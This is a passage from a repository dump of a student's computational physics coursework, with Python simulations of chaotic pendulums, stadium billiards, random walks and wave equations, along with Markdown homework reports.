label\\\")\\n#ax.set_zlabel(\\\"Z label\\\")\\nX1=np.array(L1[0])\\nY1=np.array(L1[1])\\nZ1=np.array(L1[2])\\n#T=np.array(L1[3])\\nX2=np.array(L2[0])\\nY2=np.array(L2[1])\\nZ2=np.array(L2[2])\\nax1.plot(X1,Y1,Z1,color='black')\\nax1.set_title('r=100')\\nax1.set_xlabel('x')\\nax1.set_ylabel('y')\\nax1.set_zlabel('z')\\nax1.view_init(30,0)\\nax2.plot(X2,Y2,Z2,color='black')\\nax2.set_title('r=100')\\nax2.set_xlabel('x')\\nax2.set_ylabel('y')\\nax2.set_zlabel(\\\"z\\\")\\nax1.view_init(30,180)\\n\\nax3.plot(X2,Y2,Z2,color='black')\\nax3.set_title('r=100')\\nax3.set_xlabel('x')\\nax3.set_ylabel('y')\\nax3.set_zlabel(\\\"z\\\")\\nax3.view_init(90,0)\\nplt.show()\\n \"\n },\n {\n \"alpha_fraction\": 0.30363160371780396,\n \"alphanum_fraction\": 0.37401720881462097,\n \"avg_line_length\": 26.340206146240234,\n \"blob_id\": \"e1566979ec964e366defb7026cf6d5dba3a1a4d7\",\n \"content_id\": \"fcf9d66d3c47a1489bbfdd1b0a42aa9659a1187b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2671,\n \"license_type\": \"no_license\",\n \"max_line_length\": 98,\n \"num_lines\": 97,\n \"path\": \"/homework8/code/phasespace3.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nimport matplotlib.pyplot as plt\\ndef billiard(x0,y0,vx0,vy0,r,a,X,Y, RR,time):\\n x=[x0]\\n y=[y0]\\n vx=vx0\\n vy=vy0\\n VX=[vx]\\n t=[0]\\n dt=0.001\\n T=0\\n while T<=time:\\n x.append(x[-1]+vx*dt)\\n y.append(y[-1]+vy*dt)\\n t.append(t[-1]+dt)\\n VX.append(vx)\\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2 and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\\n d1=2*r-d\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]-a)*d1/d+a)\\n VX.append(vx)\\n cs=x[-1]/d\\n ss=(y[-1]-a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2 and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\\n d1=2*r-d\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]+a)*d1/d-a)\\n VX.append(vx)\\n cs=x[-1]/d\\n ss=(y[-1]+a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n elif -a<y[-1]<a and x[-1]>r and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\\n x[-1]=2*r-x[-1]\\n vx=-vx\\n x.append(x[-1])\\n y.append((y[-1]+a)*d1/d-a)\\n VX.append(vx)\\n elif -a<y[-1]<a and x[-1]<-r and ((x[-1]-X)**2+((y[-1]-a)-Y)**2)>RR**2:\\n x[-1]=-2*r-x[-1]\\n vx=-vx\\n x.append(x[-1])\\n y.append((y[-1]+a)*d1/d-a)\\n VX.append(vx)\\n elif ((x[-1]-X)**2+((y[-1]-a)-Y)**2)<=RR**2:\\n d=math.sqrt((x[-1]-X)**2+(y[-1]-Y)**2)\\n d1=2*RR-d\\n xx=x[-1]*d1/d\\n yy=y[-1]*d1/d\\n if (x[-1]*d1/d-Y)**2+(y[-1]*d1/d-Y)**2>=RR**2:\\n x.append(xx)\\n y.append(yy)#t.append(t[-1]+dt)\\n cs=x[-1]/d\\n ss=y[-1]/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n VX.append(vx)\\n elif (x[-1]*d1/d-X)**2+(y[-1]*d1/d-Y)**2<RR**2:\\n xx=xx*d1/d\\n yy=yy*d1/d\\n T=t[-1]\\n return x,y,VX\\n\\n\\n\\n\\n\\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,0.01,0.01,0.2,200)\\n\\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,0.001,0.001,0.1,800)\\naa=B[0]\\nbb=B[1]\\ncc=B[2]\\n\\nV=[]\\nxx=[]\\nfor i in range(len(B[1])-1):\\n if abs(bb[i])<0.001:\\n V.append(cc[i])\\n xx.append(aa[i])\\n \\n \\nplt.plot(xx,V,'o', ms=2,color='black')\\n\\nplt.xlabel('x')\\nplt.ylabel('vx')\\nplt.title('r=0.1 (0.001,0.001)')\\n\\n \\n \\n\"\n },\n {\n \"alpha_fraction\": 0.37471264600753784,\n \"alphanum_fraction\": 0.45195403695106506,\n \"avg_line_length\": 25.399999618530273,\n \"blob_id\": \"839018969a4404115eac44d1f5a90bcbf155b6ba\",\n \"content_id\": \"bd35ba1d22adf47bd459e5ecfde03fbd9f919afe\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2175,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 80,\n \"path\": \"/homework8/code/a>0.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nimport matplotlib.pyplot as plt\\ndef billiard(x0,y0,vx0,vy0,r,a,time):\\n x=[x0]\\n y=[y0]\\n vx=vx0\\n vy=vy0\\n t=[0]\\n dt=0.01\\n T=0\\n while T<=time:\\n x.append(x[-1]+vx*dt)\\n y.append(y[-1]+vy*dt)\\n t.append(t[-1]+dt)\\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2:\\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\\n \\n d1=2*r-d\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]-a)*d1/d+a)\\n cs=x[-1]/d\\n ss=(y[-1]-a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2:\\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\\n d1=2*r-d\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]+a)*d1/d-a)\\n cs=x[-1]/d\\n ss=(y[-1]+a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n elif -a<y[-1]<a and x[-1]>r:\\n x[-1]=2*r-x[-1]\\n vx=-vx\\n elif -a<y[-1]<a and x[-1]<-r:\\n x[-1]=-2*r-x[-1]\\n vx=-vx \\n T=t[-1]\\n return x,y\\ndef circle(r1,l1):\\n x1=[]\\n y1=[]\\n theta=[]\\n theta.append(0)\\n tu=math.pi/10000\\n for j in range(10000):\\n x1.append(r1*math.cos(theta[-1]))\\n y1.append(r1*math.sin(theta[-1])+l1)\\n theta.append(theta[-1]+tu)\\n theta1=[]\\n theta1.append(math.pi) \\n for k in range(10000):\\n x1.append(r1*math.cos(theta1[-1]))\\n y1.append(r1*math.sin(theta1[-1])-l1)\\n theta1.append(theta1[-1]+tu)\\n return x1,y1\\nfig = plt.figure(figsize=(11,5))\\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,1000)\\nD=billiard(0.5,0.5,-0.4,-0.3,1,0.01,800)\\nplt.subplot(1,2,1)\\nplt.plot(B[0],B[1],'k:')\\na1,b1=circle(1,0.01)\\nplt.plot(a1,b1,color='black')\\nplt.title('Circular stadium-trajectory')\\nplt.xlabel('x')\\nplt.ylabel('y')\\n\\nplt.subplot(1,2,2)\\nplt.plot(D[0],D[1],'k:')\\na1,b1=circle(1,0.01)\\nplt.plot(a1,b1,color='black')\\nplt.title('Stasium billiard alpha=0.01')\\nplt.xlabel('x')\\nplt.ylabel('y')\\n\\n\\n \\n \\n \\n \\n \\n \"\n },\n {\n \"alpha_fraction\": 0.6401590704917908,\n \"alphanum_fraction\": 0.7180914282798767,\n \"avg_line_length\": 54.77777862548828,\n \"blob_id\": \"9f76596cec9dd462af489062f13eb2108d52d7c2\",\n \"content_id\": \"f2a680b537a2ecfabfc2e3e656b30b8dec25a6c3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 2515,\n \"license_type\": \"no_license\",\n \"max_line_length\": 372,\n \"num_lines\": 45,\n \"path\": \"/ch6/Waves: The ideal Case.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Waves: The ideal Case\\n\\n2015301020090\\n\\nProblem 6.2\\n\\n## Backgroud\\n\\nThe equation of wave motion is \\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{\\\\partial^{2}y}{\\\\partial&space;t^2}=c^2\\\\frac{\\\\partial^{2}y}{\\\\partial&space;x^2}\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{\\\\partial^{2}y}{\\\\partial&space;t^2}=c^2\\\\frac{\\\\partial^{2}y}{\\\\partial&space;x^2}\\\" title=\\\"\\\\frac{\\\\partial^{2}y}{\\\\partial t^2}=c^2\\\\frac{\\\\partial^{2}y}{\\\\partial x^2}\\\" /></a>\\n\\nc is the speed with which a wave moves on the string.We use a finitie difference form.Let the displacement of the string is a function of i and n.i and n are correspond to the spatial and time coordinates.We get\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=y(i.n+1)=2[1-r^2]y(i,n)-y(i,n-1)+r^2[y(i+1,n)+y(i-1,n)]\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?y(i.n+1)=2[1-r^2]y(i,n)-y(i,n-1)+r^2[y(i+1,n)+y(i-1,n)]\\\" title=\\\"y(i.n+1)=2[1-r^2]y(i,n)-y(i,n-1)+r^2[y(i+1,n)+y(i-1,n)]\\\" /></a>\\n\\nr=c*delta-xt/delta-x.\\n\\nWe set the initial displacement of the string as<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=y_0(x)=exp[-k(x-x_0)^2]\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?y_0(x)=exp[-k(x-x_0)^2]\\\" title=\\\"y_0(x)=exp[-k(x-x_0)^2]\\\" /></a>\\n\\n,a \\\"Gaussian pluck\\\",where x0=0.3 and x runs from 0 to 1.And the string is held fixed y0(x) prior to t=0.\\n\\nThe problem we are dealing with involves two step sizes.We should let r=1.Because when r=1 the higher order terms are largely cancelled out.A smaller step is actually less accurate.With our numerical schem the disurbance is propagate one spacial step for each time step.We can't have a disturbance that moves faster.\\n\\n##\\t[Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch6/ch6.py)\\n\\n## Results&Analysis\\n\\n1.r=1\\n\\n\\n\\n2.r<1\\n\\n\\n\\nTo see it clearly,here's a BIGGER picture:\\n\\nWe can see that after the reflection from a fixed end there's small blip.Our textbook says it is because the numerical error when r<1\\n\\n3.r>1\\n\\n\\n\\na smaller r:\\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5077881813049316,\n \"alphanum_fraction\": 0.5514018535614014,\n \"avg_line_length\": 15.947368621826172,\n \"blob_id\": \"ccffb81a0bf705c71ae3837d9bb45595f6fe9601\",\n \"content_id\": \"f07449e50602ce7af8e160ec98a74ecdcef08117\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 321,\n \"license_type\": \"no_license\",\n \"max_line_length\": 39,\n \"num_lines\": 19,\n \"path\": \"/final/snowflake1.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle as t\\ndef koch(level, size):\\n if level == 0:\\n t.forward(size)\\n return\\n else:\\n for angle in [60, -120, 60, 0]:\\n koch(level-1, size/3)\\n t.left(angle)\\n\\nt.hideturtle()\\nt.up()\\nt.setx(-t.window_width()/2)\\nt.down()\\nt.speed(0)\\n\\nkoch(5,t.window_width())\\n\\nt.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.4715127646923065,\n \"alphanum_fraction\": 0.531434178352356,\n \"avg_line_length\": 24.230770111083984,\n \"blob_id\": \"3e5540d44d5240fc15035cd5d27a9e7ddef824c5\",\n \"content_id\": \"6aaa0dea68240092b4ad5a4334ad1bafd3a2ceb6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1018,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 39,\n \"path\": \"/chaos.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import matplotlib.pyplot as plt\\nimport math\\ng=9.8\\ndef chaos(theta,l,q,F_D,w_D):\\n w=[0]\\n Theta=[theta]\\n dt=0.01\\n i=0\\n t=[0]\\n T=0\\n while T<=100:\\n t_i=t[i]\\n w_i=w[i]\\n theta_i=Theta[i]\\n w_dt=w_i-((g/l)*math.sin(theta_i)+q*w_i-F_D*math.sin(w_D*t_i))*dt\\n theta_dt=theta_i+w_dt*dt\\n while theta_dt>math.pi:\\n theta_dt=theta_dt-2*(math.pi)\\n while theta_dt<(-math.pi):\\n theta_dt=theta_dt+2*(math.pi)\\n T=t_i+dt\\n w.append(w_dt)\\n Theta.append(theta_dt)\\n t.append(T)\\n i=i+1\\n return Theta,t,w\\nCH=chaos(0.2,9.8,0.5,1.2,2/3)\\n\\n#CHo=chaos(0.2,9.8,0.5,0,2/3)\\nCH2=chaos(0.3,9.8,0.5,0.5,2/3)\\nplt.xlabel('theta/radians')\\nplt.ylabel('w/radians/s')\\nplt.title('w versus theta')\\n\\nline1=plt.plot(CH[0],CH[2],label='F_D=1.2',color='black')\\n#line2=plt.plot(CHo[1],CHo[0],label='F_D=0',color='red')\\n#line3=plt.plot(CH2[0],CH2[2],label='F_D=0.5',color='black')\\nplt.legend()\\nplt.show()\\n \\n \\n \"\n },\n {\n \"alpha_fraction\": 0.6590418815612793,\n \"alphanum_fraction\": 0.7936987280845642,\n \"avg_line_length\": 61.56756591796875,\n \"blob_id\": \"4c05f105be66afcea8d0a716aff54a06d2b381b8\",\n \"content_id\": \"b24dd243914110a4d6f3a79cf0fe82999977c1fe\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 2841,\n \"license_type\": \"no_license\",\n \"max_line_length\": 202,\n \"num_lines\": 37,\n \"path\": \"/README.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# computationalphysics_N2015301020090\\n姓名：贾雪巍 学号：2015301020090\\ntextbook:Computational Physics, Nicholas J. Giordano & Hisao Nakanishi\\n\\n\\nHomework List\\n=============\\n\\n## Homework_01: \\n> - 推荐安装linux系统（不安装亦可完成本课程学习）\\n> - 安装python 2.7运行环境（非linux环境请安装狂蟒之灾）\\n> - 注册github账户，建立自己针对计算物理课程的软件池（repository），命名方式compuational_physics_NXXXXXXX（XXXXXXX为个人的学号）所有的源代码和图片应上传到这里\\n> - 在这个软件池中按照markdown语法书写自己的第一个README.md，内容主要为你接下来所有作业的链接\\n## Homework_02:\\n> - 自己用How to think like a computer scientist – Learning with Python: Interactive Edition 2.0进行python语法练习\\n> - 编写一个python程序，在屏幕上用字母拼出自己的英文名字（本来想让大家拼自己的中文名字，但对有些同学来说不太公平^_^ ）[**作业链接**](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/jiaxuewei%20leisiwole.py)(I'm still working on it!)\\n> - 核对自己在2016年秋季计算物理课程学生列表中自己的分班和作业链接是否正确，有问题下次上课一并更正(2016???)\\n## [Homework_03](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/homework_03.md)\\n> - 使自己的名字移动\\n## [Homewor_04](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch1-1.4.md)\\n> - 第一章习题任选一题\\n## [Homework_05](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch2.md)\\n## [Homework_06](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Baseball.md)\\n> - Baseball\\n## [Homework_07](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Chaos.md)\\n> - Chaos\\n## [Homework_08](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Ch3/lorenz.md)\\n> - Lorenz Model\\n\\n## [Homework_09](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/homework8/Chapter_three_chaos_section3.7.md)\\n## [Mid-term](https://scratch.mit.edu/projects/185313150/#player)\\n## [Homework_10](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch4/The%20Three-Body%20Problem.md)\\nThree body problem\\n## [Homework_11](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/CH5/Electric%20Potentials%20.md)\\n## [Homework_12](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch6/Waves:%20The%20ideal%20Case.md)\\n## [Final project](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/final/Random%20Systems.md)\\n[**Final project_markdown**](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/final/Random%20Systems.md)\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6995423436164856,\n \"alphanum_fraction\": 0.7478302121162415,\n \"avg_line_length\": 80.21794891357422,\n \"blob_id\": \"ea15556e0a6ea4b8fc262cd96c854c203066c229\",\n \"content_id\": \"520e8cdcb6576bf6a8ef37b4e31dbc81e7708438\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 6345,\n \"license_type\": \"no_license\",\n \"max_line_length\": 1665,\n \"num_lines\": 78,\n \"path\": \"/Chaos.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\n\\n> Written with [StackEdit](https://stackedit.io/).\\n# Chapter_three_section3.3\\n----------\\n贾雪巍2015301020090\\n\\n## Chaos in the Driven Nonlinear Pendulum\\n-------\\nProblem 3.12\\n\\n-----------\\n## Background\\n-----\\n\\nOne example of a single pendulum is a particle of mass m connected by a massless string to a rigid surpport.We let <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\theta\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\theta\\\" title=\\\"\\\\theta\\\" /></a>be the angle that the string makes with the vertical and assume that the string is always taut,as in figure.We also assume there are only two forces acting on the particle,gravity and the tension of the string.The force perpendicular to the string is given by <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=F_{\\\\theta}=-mgsin\\\\theta\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?F_{\\\\theta}=-mgsin\\\\theta\\\" title=\\\"F_{\\\\theta}=-mgsin\\\\theta\\\" /></a>.Here we use the **Euler-Cromer method** to solve the problem.And we add some damping to the model.Assume that damping force is proportional to the velocity.Also, consider the addition of a driving force to the problem.A convenient choice is to assume that the driving force is sinusodial with time,with amplitude F_D and angular frequency <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\Omega_D\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\Omega_D\\\" title=\\\"\\\\Omega_D\\\" /></a>.These lead to the equation of motion <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{d^2\\\\theta&space;}{dt^2}=-\\\\frac{g}{l}sin\\\\theta-q\\\\frac{d\\\\theta}{dt}+F_Dsin(\\\\Omega_Dt)\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{d^2\\\\theta&space;}{dt^2}=-\\\\frac{g}{l}sin\\\\theta-q\\\\frac{d\\\\theta}{dt}+F_Dsin(\\\\Omega_Dt)\\\" title=\\\"\\\\frac{d^2\\\\theta }{dt^2}=-\\\\frac{g}{l}sin\\\\theta-q\\\\frac{d\\\\theta}{dt}+F_Dsin(\\\\Omega_Dt)\\\" /></a>\\nl is the length of the string.Rewrite it as two first-order diiferential equation<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{dw&space;}{dt}=-\\\\frac{g}{l}sin\\\\theta-q\\\\frac{d\\\\theta}{dt}+F_Dsin(\\\\Omega_Dt)\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{dw&space;}{dt}=-\\\\frac{g}{l}sin\\\\theta-q\\\\frac{d\\\\theta}{dt}+F_Dsin(\\\\Omega_Dt)\\\" title=\\\"\\\\frac{dw }{dt}=-\\\\frac{g}{l}sin\\\\theta-q\\\\frac{d\\\\theta}{dt}+F_Dsin(\\\\Omega_Dt)\\\" /></a>,<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{d\\\\theta&space;}{dt}=w\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{d\\\\theta&space;}{dt}=w\\\" title=\\\"\\\\frac{d\\\\theta }{dt}=w\\\" /></a>.\\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/chaos.py)\\n---------------------\\n## Results&Analysis\\n---------------\\n1.theta as function of time\\nq=0.5,l=g=9.8,theta(0)=0.2,w(0)=0,w_D=2/3\\n(parameters in the text book)\\n\\nThe vertical jumps in theater due to resetting of the angle to keep it in the range -pi to pi and thus correspond to the pendulum swinging \\\"over the top\\\".\\n\\n----------\\nWithout resetting the angle,F_D=1.2\\n\\nWe see that pendulum does not settle into any sort of repeating steady behavior .\\n**At high drive the motion is chaotic!**\\nFrom the text book we know that in chaotic condition two pendulum with slightly different initial parameters their difference increased rapidly and irregularly .The diverge exponentially fast.\\n \\n----\\n2.phase-space plot\\nOur text book said it is possible to make certain accurate predictions in chaotic conditions by ploting w as function of theta(phase-space).Let's have a try ;-)\\n\\nthe pendulum settles into a regular orbit\\n\\n-----\\nT=100s\\n\\nT=1000s\\n\\n\\n(I think there are many horizontal lines because of resetting angles from -pi to pi)\\n\\n3.Poincare section\\nThen we plot w versus theta only at times that w_D=2npi,where n is an integer.\\n\\nfor F_D=0.5,T=100s or T=10000s(same)\\n\\nfor F_D=1.2\\n\\n\\n----------------\\n maximum of the drive force,F_D=1.2\\n \\n\\n-------------\\n pi/4 out-of-phase\\n initial theta=0.2\\n \\n initial theta=2\\n \\n initial theta=20\\n \\n \\n ----------\\nIt's not sensitive to the initial value.\\n\\\"special attractor\\\"?\\nThe behavior in the chaotic regime is not completely random,but can be describe by a strange attractor in phase space.\\n## Attractor in wikipedia\\nIn the mathematical field of dynamical systems, an attractor is a set of numerical values toward which a system tends to evolve, for a wide variety of starting conditions of the system. System values that get close enough to the attractor values remain close even if slightly disturbed.\\n\\nAn attractor is called strange if it has a fractal structure. This is often the case when the dynamics on it are chaotic, but strange nonchaotic attractors also exist. If a strange attractor is chaotic, exhibiting sensitive dependence on initial conditions, then any two arbitrarily close alternative initial points on the attractor, after any of various numbers of iterations, will lead to points that are arbitrarily far apart (subject to the confines of the attractor), and after any of various other numbers of iterations will lead to points that are arbitrarily close together. Thus a dynamic system with a chaotic attractor is locally unstable yet globally stable: once some sequences have entered the attractor, nearby points diverge from one another but never depart from the attractor.\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.4920993149280548,\n \"alphanum_fraction\": 0.5808879137039185,\n \"avg_line_length\": 19.184616088867188,\n \"blob_id\": \"a4c8eb9118d4bd1cac30c19b7feab6acb1874e2e\",\n \"content_id\": \"a2aeab93fd419576ab6837a96920b051a3e56663\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1347,\n \"license_type\": \"no_license\",\n \"max_line_length\": 43,\n \"num_lines\": 65,\n \"path\": \"/final/multiparticles.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import random\\n#import numpy as np\\nimport matplotlib.pyplot as plt\\ndef randpath(n,time):#n number\\n initial=[]\\n x=[]\\n bb=[]\\n for i in range(1,2*n):\\n x.append(-n+i)\\n bb.append(0)\\n if i==n:\\n initial.append(n)\\n else:\\n initial.append(0)\\n for j in range(n):\\n X=[]\\n X.append(0) \\n for k in range(time): \\n c=random.random()\\n if c<=0.5:\\n X.append(X[-1]+1)\\n if c>0.5:\\n X.append(X[-1]-1)\\n ct=x.index(X[-1])#一个walker最后停止的坐标\\n bb[ct]=bb[ct]+1#+1\\n if time==0:\\n return x,initial\\n else:\\n return x,bb\\nplt.figure(figsize=(12,7))\\nax1=plt.subplot(811)\\nax2=plt.subplot(812)\\nax3=plt.subplot(813)\\nax4=plt.subplot(814)\\nax5=plt.subplot(815)\\nax6=plt.subplot(816)\\nax7=plt.subplot(817)\\nax8=plt.subplot(818)\\nax1.set_title('Diffusion in one dimension')\\nplt.sca(ax1)\\na,b=randpath(1000,0)\\nplt.plot(a,b)\\nplt.sca(ax2)\\na,b=randpath(1000,10)\\nplt.plot(a,b)\\nplt.sca(ax3)\\na,b=randpath(1000,100)\\nplt.plot(a,b)\\nplt.sca(ax4)\\na,b=randpath(1000,500)\\nplt.plot(a,b)\\nplt.sca(ax5)\\na,b=randpath(1000,1000)\\nplt.plot(a,b)\\nplt.sca(ax6)\\na,b=randpath(1000,2000)\\nplt.plot(a,b)\\nplt.sca(ax7)\\na,b=randpath(1000,4000)\\nplt.plot(a,b)\\nplt.sca(ax8)\\na,b=randpath(1000,8000)\\nplt.plot(a,b)\\n\\nplt.show() \\n \"\n },\n {\n \"alpha_fraction\": 0.7117035984992981,\n \"alphanum_fraction\": 0.7871667146682739,\n \"avg_line_length\": 38.35714340209961,\n \"blob_id\": \"1971521f0dda41bc77d3bcb6af7262e5479f3398\",\n \"content_id\": \"efbc6ca52e51935da1e244da69c5e83ad3ea1929\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 2213,\n \"license_type\": \"no_license\",\n \"max_line_length\": 311,\n \"num_lines\": 56,\n \"path\": \"/homework8/Chapter_three_chaos_section3.7.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Chapter_three_chaos_section3.7\\n\\nProblem 3.31*\\n\\n## Background\\n\\nHere we consider the problem of a ball moving without friction on a horizontal table.Imagine there are walls at the edges of table that reflect the ball perfectly and there is no frictional force between the ball and the table.We will ignore any complications associated with the momentum of the ball.\\n\\nBetween the collisions the motion of the ball is very simple.The key part of the program is the treatment of collisons.The way our textbook recommends can save some work for my computer,but I just took a smaller step at the beginning and then corrected the coordinate by the way I learned from a former student.\\n\\nIn this section,we take the **table shape** as stadium shape.Imagine a circular table of radius r=1.Cut the table along the x axis and pull the two semicircular halves apart along y axis, a distance 2alpha*r.Then fill in with straight segments.\\n\\nProblem 3.31 consider a circular interior wall located in the table.\\n\\n\\n\\n## [Codes](https://github.com/jxw666/computationalphysics_N2015301020090/tree/master/homework8/code)\\n\\n## Results&Analysis\\n\\n1.alpha=0&alpha=0.01\\n\\n---\\n\\n\\n\\nTrajectory\\n\\n\\n\\n The corrosponding phase-space plot(y=0)\\n\\n\\n\\n\\n\\n2.with a circular interior wall located in the center\\n\\n---\\n\\nTrajectory&phase-space plot\\n\\n\\n\\n\\n\\n3.with a circular interior wall located slightly off-center\\n\\n\\n\\n\\n\\n\\n----\\n\\n When the parameters above are equal to some other value,the plots go crazy!I think the way to solve this is to figure out a better way to deal with the collision.\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.4972067177295685,\n \"alphanum_fraction\": 0.5522745251655579,\n \"avg_line_length\": 23.568628311157227,\n \"blob_id\": \"13f096cdae98ad720675a6bc94924da98b29838d\",\n \"content_id\": \"fd1f83f94c5732b7a6c38c29a79d83e006b61adc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1265,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 51,\n \"path\": \"/ch2.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import matplotlib.pyplot as plt\\nimport math\\nimport numpy as np\\ng=9.8\\ndef Trajectory(velocity,angle,Temp):\\n velocity_x=[velocity*math.cos(angle)]\\n velocity_y=[velocity*math.sin(angle)]\\n dt=0.1\\n x=[0]\\n y=[0]\\n i=0\\n y_dt=1\\n while y_dt>0: \\n vxi=velocity_x[i]\\n vyi=velocity_y[i]\\n v=math.sqrt(vxi**2+vyi**2)\\n B=(Temp/300)**2.5*(1-6.5*10**(-3)*y[i]/Temp)**2.5*4*10**(-5)\\n 